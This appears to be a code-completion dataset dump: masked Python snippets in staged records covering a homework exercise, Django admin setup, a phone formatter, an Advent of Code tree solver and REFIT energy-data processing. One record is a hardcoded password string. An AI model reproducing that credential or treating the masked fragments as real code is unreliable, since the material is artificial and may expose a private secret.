result = a + b * c print(result) print() #Question 9 print("Question 9") num = 99 num = 5 print(num)
flexible
{ "blob_id": "82c426836fee0560e917848084af4ca124e74dff", "index": 7043, "step-1": "<mask token>\n", "step-2": "print('Question 1')\n<mask token>\nprint()\nprint('Question 2')\n<mask token>\nprint()\nprint('Question 3')\n<mask token>\nprint('%.2f' % b)\n<mask token>\nprint('%.2f' % a)\n<mask token>\nprint('%.2f' % b)\n<mask token>\nprint('%.2f' % a)\nprint('Values calculated')\nprint()\nprint('Question 4')\n<mask token>\nprint(result)\n<mask token>\nprint(result)\n<mask token>\nprint(result)\n<mask token>\nprint(result)\n<mask token>\nprint(result)\nprint()\nprint('Question 5')\n<mask token>\nprint('The total is ' + str(total))\nprint()\nprint('Question 6')\n<mask token>\nprint(due)\nprint()\nprint('Question 7')\n<mask token>\nprint(total)\nprint()\nprint('Question 8')\n<mask token>\nprint(result)\nprint()\nprint('Question 9')\n<mask token>\nprint(num)\n", "step-3": "print('Question 1')\nheight = int(input('Please enter your height: '))\nprint()\nprint('Question 2')\ncolor = input('please enter your favorite color: ')\nprint()\nprint('Question 3')\na = -8 / 3\nb = 2 + a\nprint('%.2f' % b)\na = 4 * b\nprint('%.2f' % a)\nb = a / 3.14\nprint('%.2f' % b)\na = b - 8\nprint('%.2f' % a)\nprint('Values calculated')\nprint()\nprint('Question 4')\nw = 5\nx = 4\ny = 8\nz = 2\nresult = x + y\nprint(result)\nresult = z * 2\nprint(result)\nresult = y / x\nprint(result)\nresult = y - z\nprint(result)\nresult = w // z\nprint(result)\nprint()\nprint('Question 5')\ntotal = 10 + 14\nprint('The total is ' + str(total))\nprint()\nprint('Question 6')\ndown_payment = 2500\ntotal = 10000\ndue = total - down_payment\nprint(due)\nprint()\nprint('Question 7')\nsubtotal = 100\ntotal = subtotal * 0.15\nprint(total)\nprint()\nprint('Question 8')\na = 5\nb = 2\nc = 3\nresult = a + b * c\nprint(result)\nprint()\nprint('Question 9')\nnum = 99\nnum = 5\nprint(num)\n", "step-4": "#Homework 09\n#Raymond Guevara\n#018504731\n\n#Algorithm Workbench\n\n#Question 1\nprint(\"Question 1\")\nheight = int(input(\"Please enter your height: \"))\nprint()\n\n#Question 2\nprint(\"Question 2\")\ncolor = input(\"please enter your favorite color: \")\nprint()\n\n#Question 3\nprint(\"Question 3\")\na = -8/3 #Solved for variable \"a\" using algebra and system of equations\nb = 2+a\nprint(\"%.2f\"%b)\na = 4*b\nprint(\"%.2f\"%a)\nb = a/3.14\nprint(\"%.2f\"%b)\na = b-8\nprint(\"%.2f\"%a)\n\nprint(\"Values calculated\")\nprint()\n\n#Question 4\nprint(\"Question 4\")\nw = 5\nx = 4\ny = 8\nz = 2\nresult = x + y\nprint(result)\nresult = z * 2\nprint(result)\nresult = y / x\nprint(result)\nresult = y - z\nprint(result)\nresult = w // z\nprint(result)\nprint()\n\n#Question 5\nprint(\"Question 5\")\ntotal = 10 + 14\nprint(\"The total is \" + str(total))\nprint()\n\n#Question 6\nprint(\"Question 6\")\ndown_payment = 2500 #numbers are arbitrary \ntotal = 10000\ndue = total - down_payment\nprint(due)\nprint()\n\n#Question 7\nprint(\"Question 7\")\nsubtotal = 100 #Arbitrary number \ntotal = subtotal * .15\nprint(total)\nprint()\n\n#Question 8\nprint(\"Question 8\")\na = 5\nb = 2\nc = 3\nresult = a + b * c\nprint(result)\nprint()\n\n#Question 9\nprint(\"Question 9\")\nnum = 99\nnum = 5\nprint(num)\n\n\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> admin.site.register(Profile) <|reserved_special_token_1|> from django.contrib import admin from .models import Profile from django.contrib.admin.templatetags.admin_list import admin_actions admin.site.register(Profile) <|reserved_special_token_1|> from django.contrib import admin from .models import Profile from django.contrib.admin.templatetags.admin_list import admin_actions admin.site.register(Profile) # Register your models here.
flexible
{ "blob_id": "89c44d35559504501e4333ea6ff4d3528f1a4c4f", "index": 5171, "step-1": "<mask token>\n", "step-2": "<mask token>\nadmin.site.register(Profile)\n", "step-3": "from django.contrib import admin\nfrom .models import Profile\nfrom django.contrib.admin.templatetags.admin_list import admin_actions\nadmin.site.register(Profile)\n", "step-4": "from django.contrib import admin\nfrom .models import Profile\nfrom django.contrib.admin.templatetags.admin_list import admin_actions\n\nadmin.site.register(Profile)\n# Register your models here.\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> if len(numero) < 8: while len(numero) < 8: numero = '3' + numero numero = numero[:4] + '-' + numero[4:] print('Numero: ', numero) elif len(numero) > 8: print('Numero invalido') <|reserved_special_token_1|> numero = input('Digite um numero de telefone: ') numero = numero.replace('-', '') if len(numero) < 8: while len(numero) < 8: numero = '3' + numero numero = numero[:4] + '-' + numero[4:] print('Numero: ', numero) elif len(numero) > 8: print('Numero invalido') <|reserved_special_token_1|> # Feito por Kelvin Schneider #12 numero = input("Digite um numero de telefone: ") numero = numero.replace("-","") if (len(numero) < 8): while len(numero) < 8: numero = "3" + numero numero = numero[:4] + "-" + numero[4:] print("Numero: ", numero) elif (len(numero) > 8): print("Numero invalido")
flexible
{ "blob_id": "6297256bce1954f041915a1ce0aa0546689850f3", "index": 2256, "step-1": "<mask token>\n", "step-2": "<mask token>\nif len(numero) < 8:\n while len(numero) < 8:\n numero = '3' + numero\n numero = numero[:4] + '-' + numero[4:]\n print('Numero: ', numero)\nelif len(numero) > 8:\n print('Numero invalido')\n", "step-3": "numero = input('Digite um numero de telefone: ')\nnumero = numero.replace('-', '')\nif len(numero) < 8:\n while len(numero) < 8:\n numero = '3' + numero\n numero = numero[:4] + '-' + numero[4:]\n print('Numero: ', numero)\nelif len(numero) > 8:\n print('Numero invalido')\n", "step-4": "# Feito por Kelvin Schneider\n#12\n\nnumero = input(\"Digite um numero de telefone: \")\nnumero = numero.replace(\"-\",\"\")\n\nif (len(numero) < 8):\n while len(numero) < 8:\n numero = \"3\" + numero\n\n numero = numero[:4] + \"-\" + numero[4:]\n print(\"Numero: \", numero)\n\nelif (len(numero) > 8):\n print(\"Numero invalido\")\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
password = '#Garb1122'
normal
{ "blob_id": "918358f6e8e3f1c601b18a3c08fc6b7c024721ba", "index": 5547, "step-1": "<mask token>\n", "step-2": "password = '#Garb1122'\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
<|reserved_special_token_0|> class Node: parent = None children = None weight_sum = 0 def __init__(self, name, weight, linked): self.name = name self.weight = int(weight) self.weight_sum += self.weight self.linked = linked self.children = [] def __str__(self): children_str = ' '.join(self.linked) parent_name = self.parent.name if self.parent else 'KING' return '' + self.name + ' : ' + parent_name + ':' + str(self.weight ) + ' : ' + children_str <|reserved_special_token_0|> def traverseTree(node, deep): if len(nodeTree) <= deep: nodeTree.append([]) nodeTree[deep].append(node) if not node.children: return for child in node.children: traverseTree(child, deep + 1) <|reserved_special_token_0|> def solve(): raw_node_list = [s.rstrip() for s in input.split('\n')] regex = re.compile('(\\w+) \\((\\d+)\\)') master_node = None nodes = [] all_linked_node_names = [] for n in raw_node_list: pmn = regex.match(n) np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), []) links = n.split('->') if len(links) > 1: np.linked = [s.strip() for s in links[1].split(',')] if np: nodes.append(np) for link in np.linked: all_linked_node_names.append(link) for node in nodes: if len(node.linked) > 1 and not node.name in ':'.join( all_linked_node_names): master_node = node buildTree(master_node, nodes) traverseTree(master_node, 0) print('Detect unstable:') detectUnstable(master_node, 0) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Node: parent = None children = None weight_sum = 0 def __init__(self, name, weight, linked): self.name = name self.weight = int(weight) self.weight_sum += self.weight self.linked = linked self.children = [] def __str__(self): children_str = ' '.join(self.linked) parent_name = self.parent.name if self.parent else 'KING' return '' + self.name + ' : ' + parent_name + ':' + str(self.weight ) + ' : ' + children_str <|reserved_special_token_0|> def traverseTree(node, deep): if len(nodeTree) <= deep: nodeTree.append([]) nodeTree[deep].append(node) if not node.children: return for child in node.children: traverseTree(child, deep + 1) def detectUnstable(node, deep): weights = [] for n in node.children: if n.weight_sum not in weights: weights.append(n.weight_sum) for n in node.children: if len(weights) > 1 and max(weights) == n.weight_sum: print('found unstable for: ', n.name, ' in: ', weights) diff = max(weights) - min(weights) new_weight = n.weight - diff print('[', deep, ']New weight:', new_weight, ' for: ', n, ' diff: ', diff) for n in node.children: if len(nodeTree) > deep + 1: detectUnstable(n, deep + 1) <|reserved_special_token_0|> def printNodes(nodes): print('Print all nodes') for node in nodes: print(node) def solve(): raw_node_list = [s.rstrip() for s in input.split('\n')] regex = re.compile('(\\w+) \\((\\d+)\\)') master_node = None nodes = [] all_linked_node_names = [] for n in raw_node_list: pmn = regex.match(n) np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), []) links = n.split('->') if len(links) > 1: np.linked = [s.strip() for s in links[1].split(',')] if np: nodes.append(np) for link in np.linked: all_linked_node_names.append(link) for node in nodes: if len(node.linked) > 1 and not node.name in ':'.join( all_linked_node_names): master_node = node buildTree(master_node, nodes) traverseTree(master_node, 0) print('Detect unstable:') detectUnstable(master_node, 0) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> with open('input/' + infile) as file: input = file.read() file.close() class Node: parent = None children = None weight_sum = 0 def __init__(self, name, weight, linked): self.name = name self.weight = int(weight) self.weight_sum += self.weight self.linked = linked self.children = [] def __str__(self): children_str = ' '.join(self.linked) parent_name = self.parent.name if self.parent else 'KING' return '' + self.name + ' : ' + parent_name + ':' + str(self.weight ) + ' : ' + children_str <|reserved_special_token_0|> def traverseTree(node, deep): if len(nodeTree) <= deep: nodeTree.append([]) nodeTree[deep].append(node) if not node.children: return for child in node.children: traverseTree(child, deep + 1) def detectUnstable(node, deep): weights = [] for n in node.children: if n.weight_sum not in weights: weights.append(n.weight_sum) for n in node.children: if len(weights) > 1 and max(weights) == n.weight_sum: print('found unstable for: ', n.name, ' in: ', weights) diff = max(weights) - min(weights) new_weight = n.weight - diff print('[', deep, ']New weight:', new_weight, ' for: ', n, ' diff: ', diff) for n in node.children: if len(nodeTree) > deep + 1: detectUnstable(n, deep + 1) def buildTree(parent, nodes): if not parent.linked: return parent for link_str in parent.linked: for node in nodes: if link_str == node.name: node.parent = parent parent.children.append(node) child = buildTree(node, nodes) parent.weight_sum += child.weight_sum return parent def printNodes(nodes): print('Print all nodes') for node in nodes: print(node) def solve(): raw_node_list = [s.rstrip() for s in input.split('\n')] regex = re.compile('(\\w+) \\((\\d+)\\)') master_node = None nodes = [] all_linked_node_names = [] for n in raw_node_list: pmn = regex.match(n) np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), []) links = n.split('->') if len(links) > 1: np.linked = [s.strip() for s in links[1].split(',')] if np: nodes.append(np) for link in np.linked: all_linked_node_names.append(link) for node in nodes: if len(node.linked) > 1 and not node.name in ':'.join( all_linked_node_names): master_node = node buildTree(master_node, nodes) traverseTree(master_node, 0) print('Detect unstable:') detectUnstable(master_node, 0) if __name__ == '__main__': solve() print('Finished executing: ' + task) sys.exit(1) <|reserved_special_token_1|> <|reserved_special_token_0|> import sys import re task = 'd-7' infile = task + '.input' with open('input/' + infile) as file: input = file.read() file.close() class Node: parent = None children = None weight_sum = 0 def __init__(self, name, weight, linked): self.name = name self.weight = int(weight) self.weight_sum += self.weight self.linked = linked self.children = [] def __str__(self): children_str = ' '.join(self.linked) parent_name = self.parent.name if self.parent else 'KING' return '' + self.name + ' : ' + parent_name + ':' + str(self.weight ) + ' : ' + children_str nodeTree = [] def traverseTree(node, deep): if len(nodeTree) <= deep: nodeTree.append([]) nodeTree[deep].append(node) if not node.children: return for child in node.children: traverseTree(child, deep + 1) def detectUnstable(node, deep): weights = [] for n in node.children: if n.weight_sum not in weights: weights.append(n.weight_sum) for n in node.children: if len(weights) > 1 and max(weights) == n.weight_sum: print('found unstable for: ', n.name, ' in: ', weights) diff = max(weights) - min(weights) new_weight = n.weight - diff print('[', deep, ']New weight:', new_weight, ' for: ', n, ' diff: ', diff) for n in node.children: if len(nodeTree) > deep + 1: detectUnstable(n, deep + 1) def buildTree(parent, nodes): if not parent.linked: return parent for link_str in parent.linked: for node in nodes: if link_str == node.name: node.parent = parent parent.children.append(node) child = buildTree(node, nodes) parent.weight_sum += child.weight_sum return parent def printNodes(nodes): print('Print all nodes') for node in nodes: print(node) def solve(): raw_node_list = [s.rstrip() for s in input.split('\n')] regex = re.compile('(\\w+) \\((\\d+)\\)') master_node = None nodes = [] all_linked_node_names = [] for n in raw_node_list: pmn = regex.match(n) np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), []) links = n.split('->') if len(links) > 1: np.linked = [s.strip() for s in links[1].split(',')] if np: nodes.append(np) for link in np.linked: all_linked_node_names.append(link) for node in nodes: if len(node.linked) > 1 and not node.name in ':'.join( all_linked_node_names): master_node = node buildTree(master_node, nodes) traverseTree(master_node, 0) print('Detect unstable:') detectUnstable(master_node, 0) if __name__ == '__main__': solve() print('Finished executing: ' + task) sys.exit(1) <|reserved_special_token_1|> #!/user/bin/env python3 -tt """ https://adventofcode.com/2017/day/7 """ import sys import re # Global variables task="d-7" infile=task + ".input" with open('input/' + infile) as file: input = file.read() file.close() class Node: parent = None children = None weight_sum = 0 def __init__(self, name, weight, linked): self.name = name self.weight = int(weight) self.weight_sum += self.weight self.linked = linked self.children = [] def __str__(self): children_str = " ".join(self.linked) parent_name = self.parent.name if self.parent else "KING" return "" + self.name + " : " + parent_name + ":" + str(self.weight) + " : " + children_str #+ ":||||:" + " ".join([n.name for n in self.children]) nodeTree = [] def traverseTree(node, deep): if len(nodeTree) <= deep: nodeTree.append([]) nodeTree[deep].append(node) if not node.children: return for child in node.children: traverseTree(child, deep+1) def detectUnstable(node, deep): weights = [] for n in node.children: if n.weight_sum not in weights: weights.append(n.weight_sum) for n in node.children: if len(weights) > 1 and max(weights) == n.weight_sum: print("found unstable for: ", n.name, " in: ", weights) diff = max(weights) - min(weights) new_weight = n.weight - diff print("[", deep, "]New weight:", new_weight, " for: ", n, " diff: ", diff) for n in node.children: if len(nodeTree) > deep + 1: detectUnstable(n, deep +1) def buildTree(parent, nodes): if not parent.linked: return parent for link_str in parent.linked: for node in nodes: #Find matching node if link_str == node.name: node.parent = parent parent.children.append(node) child = buildTree(node, nodes) parent.weight_sum += child.weight_sum return parent def printNodes(nodes): print("Print all nodes") for node in nodes: print(node) def solve(): raw_node_list = [s.rstrip() for s in input.split("\n")] regex = re.compile(r'(\w+) \((\d+)\)') master_node = None nodes = [] all_linked_node_names = [] for n in raw_node_list: pmn = regex.match(n) np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), []) links = n.split("->") if len(links) > 1: np.linked = [s.strip() for s in links[1].split(",")] if np: nodes.append(np) for link in np.linked: all_linked_node_names.append(link) for node in nodes: if len(node.linked) > 1 and not node.name in ":".join(all_linked_node_names): master_node = node buildTree(master_node, nodes) traverseTree(master_node, 0) # for row in nodeTree: # nodes = "" # for node in row: # parent = node.parent.name if node.parent else "KING" # nodes += "[" + parent + "]" + node.name + ":" + str(node.weight_sum) # print(nodes) # for weights in weightTree: # if len(weights) > 1: # print(":".join([str(s) for s in weights])) print("Detect unstable:") detectUnstable(master_node, 0) if __name__ == '__main__': solve() print("Finished executing: " + task) sys.exit(1)
flexible
{ "blob_id": "679ca76212b90261683d59899c1189280b6b6e8c", "index": 5953, "step-1": "<mask token>\n\n\nclass Node:\n parent = None\n children = None\n weight_sum = 0\n\n def __init__(self, name, weight, linked):\n self.name = name\n self.weight = int(weight)\n self.weight_sum += self.weight\n self.linked = linked\n self.children = []\n\n def __str__(self):\n children_str = ' '.join(self.linked)\n parent_name = self.parent.name if self.parent else 'KING'\n return '' + self.name + ' : ' + parent_name + ':' + str(self.weight\n ) + ' : ' + children_str\n\n\n<mask token>\n\n\ndef traverseTree(node, deep):\n if len(nodeTree) <= deep:\n nodeTree.append([])\n nodeTree[deep].append(node)\n if not node.children:\n return\n for child in node.children:\n traverseTree(child, deep + 1)\n\n\n<mask token>\n\n\ndef solve():\n raw_node_list = [s.rstrip() for s in input.split('\\n')]\n regex = re.compile('(\\\\w+) \\\\((\\\\d+)\\\\)')\n master_node = None\n nodes = []\n all_linked_node_names = []\n for n in raw_node_list:\n pmn = regex.match(n)\n np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), [])\n links = n.split('->')\n if len(links) > 1:\n np.linked = [s.strip() for s in links[1].split(',')]\n if np:\n nodes.append(np)\n for link in np.linked:\n all_linked_node_names.append(link)\n for node in nodes:\n if len(node.linked) > 1 and not node.name in ':'.join(\n all_linked_node_names):\n master_node = node\n buildTree(master_node, nodes)\n traverseTree(master_node, 0)\n print('Detect unstable:')\n detectUnstable(master_node, 0)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Node:\n parent = None\n children = None\n weight_sum = 0\n\n def __init__(self, name, weight, linked):\n self.name = name\n self.weight = int(weight)\n self.weight_sum += self.weight\n self.linked = linked\n self.children = []\n\n def __str__(self):\n children_str = ' '.join(self.linked)\n parent_name = self.parent.name if self.parent else 'KING'\n return '' + self.name + ' : ' + parent_name + ':' + str(self.weight\n ) + ' : ' + children_str\n\n\n<mask token>\n\n\ndef traverseTree(node, deep):\n if len(nodeTree) <= deep:\n nodeTree.append([])\n nodeTree[deep].append(node)\n if not node.children:\n return\n for child in node.children:\n traverseTree(child, deep + 1)\n\n\ndef detectUnstable(node, deep):\n weights = []\n for n in node.children:\n if n.weight_sum not in weights:\n weights.append(n.weight_sum)\n for n in node.children:\n if len(weights) > 1 and max(weights) == n.weight_sum:\n print('found unstable for: ', n.name, ' in: ', weights)\n diff = max(weights) - min(weights)\n new_weight = n.weight - diff\n print('[', deep, ']New weight:', new_weight, ' for: ', n,\n ' diff: ', diff)\n for n in node.children:\n if len(nodeTree) > deep + 1:\n detectUnstable(n, deep + 1)\n\n\n<mask token>\n\n\ndef printNodes(nodes):\n print('Print all nodes')\n for node in nodes:\n print(node)\n\n\ndef solve():\n raw_node_list = [s.rstrip() for s in input.split('\\n')]\n regex = re.compile('(\\\\w+) \\\\((\\\\d+)\\\\)')\n master_node = None\n nodes = []\n all_linked_node_names = []\n for n in raw_node_list:\n pmn = regex.match(n)\n np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), [])\n links = n.split('->')\n if len(links) > 1:\n np.linked = [s.strip() for s in links[1].split(',')]\n if np:\n nodes.append(np)\n for link in np.linked:\n all_linked_node_names.append(link)\n for node in nodes:\n if len(node.linked) > 1 and not node.name in ':'.join(\n all_linked_node_names):\n master_node = node\n buildTree(master_node, nodes)\n traverseTree(master_node, 0)\n print('Detect unstable:')\n detectUnstable(master_node, 0)\n\n\n<mask token>\n", "step-3": "<mask token>\nwith open('input/' + infile) as file:\n input = file.read()\nfile.close()\n\n\nclass Node:\n parent = None\n children = None\n weight_sum = 0\n\n def __init__(self, name, weight, linked):\n self.name = name\n self.weight = int(weight)\n self.weight_sum += self.weight\n self.linked = linked\n self.children = []\n\n def __str__(self):\n children_str = ' '.join(self.linked)\n parent_name = self.parent.name if self.parent else 'KING'\n return '' + self.name + ' : ' + parent_name + ':' + str(self.weight\n ) + ' : ' + children_str\n\n\n<mask token>\n\n\ndef traverseTree(node, deep):\n if len(nodeTree) <= deep:\n nodeTree.append([])\n nodeTree[deep].append(node)\n if not node.children:\n return\n for child in node.children:\n traverseTree(child, deep + 1)\n\n\ndef detectUnstable(node, deep):\n weights = []\n for n in node.children:\n if n.weight_sum not in weights:\n weights.append(n.weight_sum)\n for n in node.children:\n if len(weights) > 1 and max(weights) == n.weight_sum:\n print('found unstable for: ', n.name, ' in: ', weights)\n diff = max(weights) - min(weights)\n new_weight = n.weight - diff\n print('[', deep, ']New weight:', new_weight, ' for: ', n,\n ' diff: ', diff)\n for n in node.children:\n if len(nodeTree) > deep + 1:\n detectUnstable(n, deep + 1)\n\n\ndef buildTree(parent, nodes):\n if not parent.linked:\n return parent\n for link_str in parent.linked:\n for node in nodes:\n if link_str == node.name:\n node.parent = parent\n parent.children.append(node)\n child = buildTree(node, nodes)\n parent.weight_sum += child.weight_sum\n return parent\n\n\ndef printNodes(nodes):\n print('Print all nodes')\n for node in nodes:\n print(node)\n\n\ndef solve():\n raw_node_list = [s.rstrip() for s in input.split('\\n')]\n regex = re.compile('(\\\\w+) \\\\((\\\\d+)\\\\)')\n master_node = None\n nodes = []\n all_linked_node_names = []\n for n in raw_node_list:\n pmn = regex.match(n)\n np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), [])\n links = n.split('->')\n if len(links) > 1:\n np.linked = [s.strip() for s in links[1].split(',')]\n if np:\n nodes.append(np)\n for link in np.linked:\n all_linked_node_names.append(link)\n for node in nodes:\n if len(node.linked) > 1 and not node.name in ':'.join(\n all_linked_node_names):\n master_node = node\n buildTree(master_node, nodes)\n traverseTree(master_node, 0)\n print('Detect unstable:')\n detectUnstable(master_node, 0)\n\n\nif __name__ == '__main__':\n solve()\n print('Finished executing: ' + task)\n sys.exit(1)\n", "step-4": "<mask token>\nimport sys\nimport re\ntask = 'd-7'\ninfile = task + '.input'\nwith open('input/' + infile) as file:\n input = file.read()\nfile.close()\n\n\nclass Node:\n parent = None\n children = None\n weight_sum = 0\n\n def __init__(self, name, weight, linked):\n self.name = name\n self.weight = int(weight)\n self.weight_sum += self.weight\n self.linked = linked\n self.children = []\n\n def __str__(self):\n children_str = ' '.join(self.linked)\n parent_name = self.parent.name if self.parent else 'KING'\n return '' + self.name + ' : ' + parent_name + ':' + str(self.weight\n ) + ' : ' + children_str\n\n\nnodeTree = []\n\n\ndef traverseTree(node, deep):\n if len(nodeTree) <= deep:\n nodeTree.append([])\n nodeTree[deep].append(node)\n if not node.children:\n return\n for child in node.children:\n traverseTree(child, deep + 1)\n\n\ndef detectUnstable(node, deep):\n weights = []\n for n in node.children:\n if n.weight_sum not in weights:\n weights.append(n.weight_sum)\n for n in node.children:\n if len(weights) > 1 and max(weights) == n.weight_sum:\n print('found unstable for: ', n.name, ' in: ', weights)\n diff = max(weights) - min(weights)\n new_weight = n.weight - diff\n print('[', deep, ']New weight:', new_weight, ' for: ', n,\n ' diff: ', diff)\n for n in node.children:\n if len(nodeTree) > deep + 1:\n detectUnstable(n, deep + 1)\n\n\ndef buildTree(parent, nodes):\n if not parent.linked:\n return parent\n for link_str in parent.linked:\n for node in nodes:\n if link_str == node.name:\n node.parent = parent\n parent.children.append(node)\n child = buildTree(node, nodes)\n parent.weight_sum += child.weight_sum\n return parent\n\n\ndef printNodes(nodes):\n print('Print all nodes')\n for node in nodes:\n print(node)\n\n\ndef solve():\n raw_node_list = [s.rstrip() for s in input.split('\\n')]\n regex = re.compile('(\\\\w+) \\\\((\\\\d+)\\\\)')\n master_node = None\n nodes = []\n all_linked_node_names = []\n for n in raw_node_list:\n pmn = regex.match(n)\n np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), [])\n links = n.split('->')\n if len(links) > 1:\n np.linked = [s.strip() for s in links[1].split(',')]\n if np:\n nodes.append(np)\n for link in np.linked:\n all_linked_node_names.append(link)\n for node in nodes:\n if len(node.linked) > 1 and not node.name in ':'.join(\n all_linked_node_names):\n master_node = node\n buildTree(master_node, nodes)\n traverseTree(master_node, 0)\n print('Detect unstable:')\n detectUnstable(master_node, 0)\n\n\nif __name__ == '__main__':\n solve()\n print('Finished executing: ' + task)\n sys.exit(1)\n", "step-5": "#!/user/bin/env python3 -tt\n\n\"\"\"\nhttps://adventofcode.com/2017/day/7\n\"\"\"\nimport sys\nimport re\n\n# Global variables\ntask=\"d-7\"\ninfile=task + \".input\"\n\nwith open('input/' + infile) as file:\n input = file.read()\nfile.close()\n\nclass Node:\n parent = None\n children = None\n weight_sum = 0\n\n def __init__(self, name, weight, linked):\n self.name = name\n self.weight = int(weight)\n self.weight_sum += self.weight\n self.linked = linked\n self.children = []\n\n def __str__(self):\n children_str = \" \".join(self.linked)\n parent_name = self.parent.name if self.parent else \"KING\"\n return \"\" + self.name + \" : \" + parent_name + \":\" + str(self.weight) + \" : \" + children_str #+ \":||||:\" + \" \".join([n.name for n in self.children])\n\nnodeTree = []\ndef traverseTree(node, deep):\n\n if len(nodeTree) <= deep:\n nodeTree.append([])\n\n nodeTree[deep].append(node)\n if not node.children:\n return\n for child in node.children:\n traverseTree(child, deep+1)\n\ndef detectUnstable(node, deep):\n weights = []\n\n for n in node.children:\n if n.weight_sum not in weights:\n weights.append(n.weight_sum)\n\n for n in node.children:\n if len(weights) > 1 and max(weights) == n.weight_sum:\n print(\"found unstable for: \", n.name, \" in: \", weights)\n diff = max(weights) - min(weights)\n new_weight = n.weight - diff\n print(\"[\", deep, \"]New weight:\", new_weight, \" for: \", n, \" diff: \", diff)\n\n for n in node.children:\n if len(nodeTree) > deep + 1:\n detectUnstable(n, deep +1)\n\n\ndef buildTree(parent, nodes):\n if not parent.linked:\n return parent\n for link_str in parent.linked:\n for node in nodes:\n #Find matching node\n if link_str == node.name:\n node.parent = parent\n parent.children.append(node)\n child = buildTree(node, nodes)\n parent.weight_sum += child.weight_sum\n\n return parent\n\ndef printNodes(nodes):\n print(\"Print all nodes\")\n for node in nodes:\n print(node)\n\n\ndef solve():\n raw_node_list = [s.rstrip() for s in input.split(\"\\n\")]\n regex = re.compile(r'(\\w+) \\((\\d+)\\)')\n\n master_node = None\n nodes = []\n all_linked_node_names = []\n for n in raw_node_list:\n pmn = regex.match(n)\n np = Node(pmn.group(1).rstrip(), pmn.group(2).rstrip(), [])\n links = n.split(\"->\")\n if len(links) > 1:\n np.linked = [s.strip() for s in links[1].split(\",\")]\n if np:\n nodes.append(np)\n for link in np.linked:\n all_linked_node_names.append(link)\n\n for node in nodes:\n if len(node.linked) > 1 and not node.name in \":\".join(all_linked_node_names):\n master_node = node\n\n buildTree(master_node, nodes)\n traverseTree(master_node, 0)\n\n# for row in nodeTree:\n# nodes = \"\"\n# for node in row:\n# parent = node.parent.name if node.parent else \"KING\"\n# nodes += \"[\" + parent + \"]\" + node.name + \":\" + str(node.weight_sum)\n# print(nodes)\n\n# for weights in weightTree:\n# if len(weights) > 1:\n# print(\":\".join([str(s) for s in weights]))\n\n print(\"Detect unstable:\")\n detectUnstable(master_node, 0)\n\nif __name__ == '__main__':\n\n solve()\n\n print(\"Finished executing: \" + task)\n sys.exit(1)\n", "step-ids": [ 6, 8, 10, 12, 13 ] }
[ 6, 8, 10, 12, 13 ]
<|reserved_special_token_0|> def align_process(house_id): data = np.load('data\\REFIT\\original_data\\%d.npy' % house_id) new_data = [] current_index = 0 current_time = int(data[0][0]) end_time = int(data[-1][0]) + 8 interval_threshold = refit_cfg.separation_threshold isend = 0 data_length = len(data) while current_time <= end_time: current_interval = int(data[current_index + 1][0]) - int(data[ current_index][0]) if current_interval < interval_threshold: if current_time > int(data[current_index][0]): temp_index = current_index + 1 while current_time > int(data[temp_index][0]): temp_index += 1 if temp_index > data_length - 1: temp_index -= 1 break if abs(current_time - int(data[temp_index - 1][0])) > abs( int(data[temp_index][0]) - current_time): current_index = temp_index if temp_index == data_length - 1: print('The end!') isend = 1 else: current_index = temp_index - 1 t = [] for element in data[current_index]: t.append(element) t[0] = current_time new_data.append(t) if isend == 1: break current_time += 8 if current_index % 1000 == 0: print('House %d processing: %f' % (house_id, current_index / data_length)) else: current_index += 1 current_time = int(data[current_index][0]) np.save('data\\REFIT\\after_align\\%d.npy' % house_id, new_data) <|reserved_special_token_0|> def show_appliance(house_id, appliance_name): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) <|reserved_special_token_0|> def cull(cull_dict): """ 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对 :param cull_dict: :return: """ for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling_2\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) 